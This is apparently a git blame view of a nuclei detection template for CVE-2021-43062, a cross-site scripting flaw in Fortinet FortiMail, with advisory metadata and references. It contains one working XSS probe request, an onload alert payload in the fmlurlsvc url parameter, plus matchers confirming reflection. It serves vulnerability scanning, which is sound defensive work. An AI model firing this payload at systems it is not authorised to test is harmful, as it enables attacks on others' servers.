daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-43062.yaml

54 lines
2.0 KiB
YAML
Raw Normal View History

Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
id: CVE-2021-43062
info:
Normalization of Cross-Site Scripting names (#5329)
2022-09-09 17:34:37 +00:00
name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
author: ajaysenr
severity: medium
Enhancement: cves/2021/CVE-2021-43062.yaml by mp
2022-02-28 18:07:38 +00:00
description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
Added Impact
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-43062
- https://www.fortiguard.com/psirt/FG-IR-21-185
- https://www.exploit-db.com/exploits/50759
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://fortiguard.com/advisory/FG-IR-21-185
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot:
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 6.1
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
cve-id: CVE-2021-43062
cwe-id: CWE-79
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot:
2024-01-29 17:11:14 +00:00
epss-score: 0.00709
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot:
2024-03-23 09:28:19 +00:00
epss-percentile: 0.79992
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: fortinet
product: fortimail
tags: cve,cve2021,fortimail,xss,fortinet,edb
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-43062.yaml (#3741) * Create CVE-2021-43062.yaml * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-02-21 12:58:24 +00:00
- method: GET
path:
- "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<Svg/onload=alert(document.domain)>"
- "FortiMail Click Protection"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot:
2024-03-25 11:57:16 +00:00
# digest: 490a00463044022035f3b272f2f2eb3ffd2265b03fc34944ba5ea2298fe4943fccb382b77dcbfb5402206fae9c44d872dbd06fb5992248d7d731d43168f9ce8c47f3ede8c51ca7b34c5c:922c64590222798bb761d5b6d8e72950